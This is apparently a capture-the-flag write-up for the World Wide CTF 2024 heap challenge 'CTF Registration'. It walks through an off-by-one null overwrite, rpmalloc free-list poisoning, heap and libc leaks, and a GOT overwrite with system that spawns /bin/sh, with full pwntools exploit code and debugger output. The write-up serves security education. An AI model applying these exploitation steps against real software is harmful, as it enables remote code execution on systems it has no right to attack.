World Wide CTF 2024 - CTF Registration
500 / hard
Author: nosiume
I’m finally making my own ctf competition!
I wanted to make sure that my registration system is safe and since I know from past ctf experience that glibc malloc is very easy to exploit; I decided to use a different allocator :)
nc ctf-registration.chal.wwctf.com 1337
Team: Weak But Leet
Attachment:
ctf_registration.zip
xpl.py
_____ ___________ ______ _ _ _ _
/ __ \_ _| ___| | ___ \ (_) | | | | (_)
| / \/ | | | |_ | |_/ /___ __ _ _ ___| |_ _ __ __ _| |_ _ ___ _ __
| | | | | _| | // _ \/ _` | / __| __| '__/ _` | __| |/ _ \| '_ \
| \__/\ | | | | | |\ \ __/ (_| | \__ \ |_| | | (_| | |_| | (_) | | | |
\____/ \_/ \_| \_| \_\___|\__, |_|___/\__|_| \__,_|\__|_|\___/|_| |_|
__/ |
|___/
1) Register hacker
2) Read hacker profile
3) Quit
>>
The challenge is using a custom heap allocator rpmalloc .
The only two functionalities in this are creating a new hacker object and showing it (and the hidden credits-function, which isn’t needed, though).
struct Hacker {
unsigned long age ;
char name [ 0x8 ];
char description [ 0x20 ];
}
int register_hacker ()
{
unsigned long i ;
Hacker * hacker ;
for ( i = 0LL ; hackers [ i ]; ++ i );
if ( i > 99 )
return puts ( "Sorry ! No spots left :/" );
hacker = ( Hacker * ) rpmalloc ( 0x30LL );
printf ( "How old is the hacker? " );
__isoc99_scanf ( "%lu" , hacker );
getchar ();
printf ( "What's the hacker's name ? " );
__isoc99_scanf ( "%16[^ \n ]s" , & hacker -> name );
getchar ();
printf ( "How would you describe this hacker ? " );
__isoc99_scanf ( "%32[^ \n ]s" , hacker -> description ); // off-by-one
getchar ();
hackers [ i ] = hacker ;
return printf ( "Your hacker number is %zu ! \n " , i );
}
Reading the description, with __isoc99_scanf("%32[^\n]s", hacker->description);
can result in a one-byte null overwrite. If we give exactly 32 chars, the LSB of the following address will be overwritten with a null byte. So, let’s take a look at the memory layout of the heap chunks, which gets allocated by rpmalloc
.
gef➤ x/30gx 0x00007fffe0000000
0x7fffe0000000: 0x0000003000000003 0x0000005300000552
0x7fffe0000010: 0x0000000000000053 0x0000000000000004
0x7fffe0000020: 0x0000000000000000 0x00007ffff7ffa000
0x7fffe0000030: 0x0000000000000000 0x0000000000000000
0x7fffe0000040: 0x0000000000000000 0x00007ffff7ffa000
0x7fffe0000050: 0xffffffffffff0000 0x0000100000000001
0x7fffe0000060: 0x0000000000010000 0x0000000008271000
0x7fffe0000070: 0x0000000020000000 0x0000000000000000
0x7fffe0000080: 0x0000000000000000 0x4141414141414141 <= Age / Name
0x7fffe0000090: 0x4141414141414141 0x4141414141414141 <= Description
0x7fffe00000a0: 0x4141414141414141 0x0041414141414141
0x7fffe00000b0: 0x00007fffe00000e0 0x0000000000000000 <= Next free FD
0x7fffe00000c0: 0x0000000000000000 0x0000000000000000
0x7fffe00000d0: 0x0000000000000000 0x0000000000000000
gef➤ x/30gx 0x00007ffff7ffa000
0x7ffff7ffa000: 0x00007ffff7d8f740 0x0000000000000000
0x7ffff7ffa010: 0x0000000000000000 0x0000000000000000
0x7ffff7ffa020: 0x00007fffe00000b0 0x0000000000000000 <= Last next free FD
Every chunk has a pointer to the next free chunk in its first qword. So, when a chunk gets allocated, this address is stored in the free_list
of the current heap and the block itself is returned.
static inline RPMALLOC_ALLOCATOR void *
heap_pop_local_free ( heap_t * heap , uint32_t size_class ) {
block_t ** free_list = heap -> local_free + size_class ;
block_t * block = * free_list ;
if ( EXPECTED ( block != 0 ))
* free_list = block -> next ;
return block ;
}
So, by overwriting the LSB of the next free pointer we can manipulate, which address gets returned afterwards as a new chunk. Though we can at first only overwrite the LSB with a null byte, we can use this to create overlapping chunks, with which we then can fully control the complete next pointer.
But for this, we also need some kind of leak first. Here comes the age
of hacker into play. Since it’s read via __isoc99_scanf("%lu", hacker);
, we can just use a +
as age
which will just keep the value, that’s currently in age
.
Let’s do this to leak the address of the current heap first.
def register ( age , name , desc ):
r . sendline ( b "1" )
if ( age == - 1 ):
r . sendlineafter ( b "? " , b "+" )
else :
r . sendlineafter ( b "? " , str ( age ). encode ())
r . sendlineafter ( b "? " , name )
r . sendlineafter ( b "? " , desc )
r . recvuntil ( b ">> " )
def view ( idx ):
r . sendline ( b "2" )
r . sendlineafter ( b "? " , str ( idx ). encode ())
r . recvline ()
r . recvuntil ( b "Name: " )
name = r . recvline ()[: - 1 ]
r . recvuntil ( b "Age: " )
age = int ( r . recvline ()[: - 1 ], 10 )
r . recvuntil ( b "Description: " )
desc = r . recvuntil ( b " \n ====" , drop = True )
r . recvuntil ( b ">> " )
return name , age , desc
...
register ( - 1 , b "A" * 16 , b "A" * 0x10 )
register ( - 1 , b "A" * 16 , b "B" * 0x10 )
_ , HEAPLEAK , _ = view ( 1 )
HEAPBASE = HEAPLEAK - 0xe0
log . info ( "HEAP leak : %s" % hex ( HEAPLEAK ))
log . info ( "HEAP base : %s" % hex ( HEAPBASE ))
[*] HEAP leak : 0x7fffe00000e0
[*] HEAP base : 0x7fffe0000000
Since we now know the address of the heap area itself, we can now create an overlapping chunk, for which we control the next
pointer.
payload = p64 ( HEAPBASE + 0x28 ) + p64 ( HEAPBASE + 0x28 )
payload += p64 ( HEAPBASE + 0x28 ) + p64 ( HEAPBASE + 0x28 )
register ( - 1 , b "A" * 8 , payload ) # 2
register ( - 1 , b "D" * 8 , b "E" * 0x20 ) # 3
0x7fffe0000000: 0x0000003000000003 0x0000005300000552
0x7fffe0000010: 0x0000000000000053 0x0000000000000004
0x7fffe0000020: 0x0000000000000000 0x00007ffff7ffa000
0x7fffe0000030: 0x0000000000000000 0x0000000000000000
0x7fffe0000040: 0x0000000000000000 0x00007ffff7ffa000
0x7fffe0000050: 0xffffffffffff0000 0x0000100000000001
0x7fffe0000060: 0x0000000000010000 0x0000000008271000
0x7fffe0000070: 0x0000000020000000 0x0000000000000000
0x7fffe0000080: 0x0000000000000000 0x4141414141414141 <= hacker 0
0x7fffe0000090: 0x4141414141414141 0x4141414141414141
0x7fffe00000a0: 0x0000000000000000 0x0000000000000000
0x7fffe00000b0: 0x00007fffe00000e0 0x4141414141414141 <= hacker 1
0x7fffe00000c0: 0x4242424242424242 0x4242424242424242
0x7fffe00000d0: 0x0000000000000000 0x0000000000000000
0x7fffe00000e0: 0x00007fffe0000110 0x4141414141414141 <= hacker 2
0x7fffe00000f0: 0x00007fffe0000028 0x00007fffe0000028
0x7fffe0000100: 0x00007fffe0000028 0x00007fffe0000028
0x7fffe0000110: 0x00007fffe0000100 0x4444444444444444 <= hacker 3
0x7fffe0000120: 0x4545454545454545 0x4545454545454545
0x7fffe0000130: 0x4545454545454545 0x4545454545454545
0x7fffe0000140: 0x00007fffe0000100 0x0000000000000000 <= next ptr
Allocating another chunk, would now take the chunk at 0x00007fffe0000100
, in which we prepared a fake fd pointing to 0x00007fffe0000028
, which would then be put into the freelist. So, the next chunk would be allocated at 0x00007fffe0000028
(rpmalloc doesn’t seem to care about aligned chunks :)).
From this chunk we can again leak the address via age +
.
register ( - 1 , b "A" * 8 , payload ) # 2
register ( - 1 , b "D" * 8 , b "E" * 0x20 ) # 3
register ( - 1 , b "F" * 8 , b "G" * 0x20 ) # 4
# allocate into heap main and leak
register ( - 1 , b "X" * 8 , b "B" * 0x20 ) # 5
_ , HEAPMAIN , _ = view ( 5 )
log . info ( "HEAP main : %s" % hex ( HEAPMAIN ))
[*] HEAP main : 0x7ffff7ffa000
With this we’ve leaked an address, which will have a constant offset to libc
, so we can use it to calculate the base address of libc
.
Just have to take care, that the offsets will differ a bit, if aslr
is active or not (and also it turned out that remote the offset was a bit off).
if ASLR :
if not LOCAL :
libc . address = HEAPMAIN - 0x262000 - 0x2000
else :
libc . address = HEAPMAIN - 0x262000
else :
libc . address = HEAPMAIN - 0x268000
log . info ( "LIBC base : %s" % hex ( libc . address ))
Knowing libc
we can now use this, to create another chunk in ABS.got
, overwriting a got entry, which will get executed, when we view
a hacker.
Since our next chunk will be written into the heap arena, we can directly overwrite the free_list
pointer and control where the next chunk will be allocated.
# allocate into libc abs.got
TARGET = libc . address + 0x21a080
payload = p64 ( TARGET ) + p64 ( TARGET )
payload += p64 ( TARGET ) + p64 ( TARGET )
register ( 0xdeadbeef , b "X" * 8 , payload )
0x7ffff7ffa000: 0x00000000deadbeef 0x5858585858585858
0x7ffff7ffa010: 0x00007ffff7fac080 0x00007ffff7fac080
0x7ffff7ffa020: 0x00007ffff7fac080 0x00007ffff7fac080
0x7ffff7ffa030: 0x0000000000000000 0x0000000000000000
0x7ffff7ffa040: 0x0000000000000000 0x0000000000000000
Let’s allocate one last chunk, which will overwrite *ABS*+0xa86a0
with system
(which will later be called from __vfprintf_internal
)
TARGET2 = libc . symbols [ "system" ]
payload = p64 ( TARGET2 ) + p64 ( TARGET2 )
payload += p64 ( TARGET2 ) + p64 ( TARGET2 )
register ( 0xdeadbeef , b "AAAA" , payload )
Now, all there’s left to do, is to view
a chunk of a hacker with ;/bin/sh;
in its description. Just changed the description of hacker 1
accordingly.
register ( - 1 , b "A" * 16 , b ";/bin/sh; \x00 " ) # 1
...
r . sendline ( b "2" )
r . sendline ( b "1" )
────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x1
$rbx : 0x00005555555593e1 → 0x203a656741000a73 ("s\n"?)
$rcx : 0x00005555555593e0 → 0x3a656741000a7325 ("%s\n"?)
$rdx : 0x00007fffffffe1f8 → 0x00007fffe00000b8 → "AAAAAAAA;/bin/sh;"
$rsp : 0x00007fffffffbb00 → 0x0000000000000000
$rbp : 0x00007fffffffc090 → 0x00000000fbad8004
$rsi : 0x00007ffff7e07710 → <__vfprintf_internal+06e0> endbr64
$rdi : 0x00007fffe00000b8 → "AAAAAAAA;/bin/sh;"
$rip : 0x00007ffff7e08d2c → <__vfprintf_internal+1cfc> call 0x7ffff7dba490 <*ABS*+0xa86a0@plt>
$r8 : 0x00007ffff7f63460 → 0x0000000000000000
$r9 : 0x7fffffff
$r10 : 0x0
$r11 : 0x0
$r12 : 0x6
$r13 : 0x73
$r14 : 0xffffffff
$r15 : 0x00007fffe00000b8 → "AAAAAAAA;/bin/sh;"
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
─────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7ffff7e08d20 <__vfprintf_internal+1cf0> mov QWORD PTR [rdi+0x8], rax
0x7ffff7e08d24 <__vfprintf_internal+1cf4> jmp 0x7ffff7e077df <__vfprintf_internal+1967>
0x7ffff7e08d29 <__vfprintf_internal+1cf9> mov rdi, r15
●→ 0x7ffff7e08d2c <__vfprintf_internal+1cfc> call 0x7ffff7dba490 <*ABS*+0xa86a0@plt>
↳ 0x7ffff7dba490 <*ABS*+0xa86a0@plt+0000> endbr64
0x7ffff7dba494 <*ABS*+0xa86a0@plt+0004> bnd jmp QWORD PTR [rip+0x1f1bfd] # 0x7ffff7fac098 <*ABS*@got.plt>
0x7ffff7dba49b <*ABS*+0xa86a0@plt+000b> nop DWORD PTR [rax+rax*1+0x0]
0x7ffff7dba4a0 <*ABS*+0xa9b10@plt+0000> endbr64
0x7ffff7dba4a4 <*ABS*+0xa9b10@plt+0004> bnd jmp QWORD PTR [rip+0x1f1bf5] # 0x7ffff7fac0a0 <*ABS*@got.plt>
0x7ffff7dba4ab <*ABS*+0xa9b10@plt+000b> nop DWORD PTR [rax+rax*1+0x0]
──────────── arguments (guessed) ────
*ABS*+0xa86a0@plt (
$rdi = 0x00007fffe00000b8 → "AAAAAAAA;/bin/sh;",
$rsi = 0x00007ffff7e07710 → <__vfprintf_internal+06e0> endbr64 ,
$rdx = 0x00007fffffffe1f8 → 0x00007fffe00000b8 → "AAAAAAAA;/bin/sh;",
$rcx = 0x00005555555593e0 → 0x3a656741000a7325 ("%s\n"?),
$r8 = 0x00007ffff7f63460 → 0x0000000000000000,
$r9 = 0x000000007fffffff
)
gef➤ telescope 0x7ffff7fac098
0x00007ffff7fac098│+0x0000: 0x00007ffff7de2d70 → <system+0000> endbr64
This will effectively execute system("AAAAAAAA;/bin/sh;")
resulting in a shell :)
python3 xpl.py 1
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to ctf-registration.chal.wwctf.com on port 1337: Done
[*] HEAP leak : 0x7c0fd00000e0
[*] HEAP base : 0x7c0fd0000000
[*] HEAP main : 0x7c0fe139a000
[*] LIBC base : 0x7c0fe1136000
[*] Switching to interactive mode
\x00d\x00orry ! No spots left :/\x00ow old is the hacker? \x00lu\x00hat's the hacker's name ? \x0016[^
]s\x00\x00\x00ow would you describe this hacker ? \x0032[^
]s\x00our hacker number is %zu !
\x00\x00\x00hat is the hacker's number ? \x00zu\x00nvalid index.\x00\x00\x00\x00orry, but no hacker is registered as number %zu...
\x00\x00========================= HACKER ========================\x00ame: %s
\x00ge: %lu
\x00escription: %s
\x00=========================================================\x00nvalid option
>> What is the hacker's number ? $ ls
chall
flag.txt
$ cat flag.txt
wwf{h0w_d1d_y0u_m4n4g3_t0_h4ck_my_sup3r_rpm4ll0c_pr0gr4m_:(((((}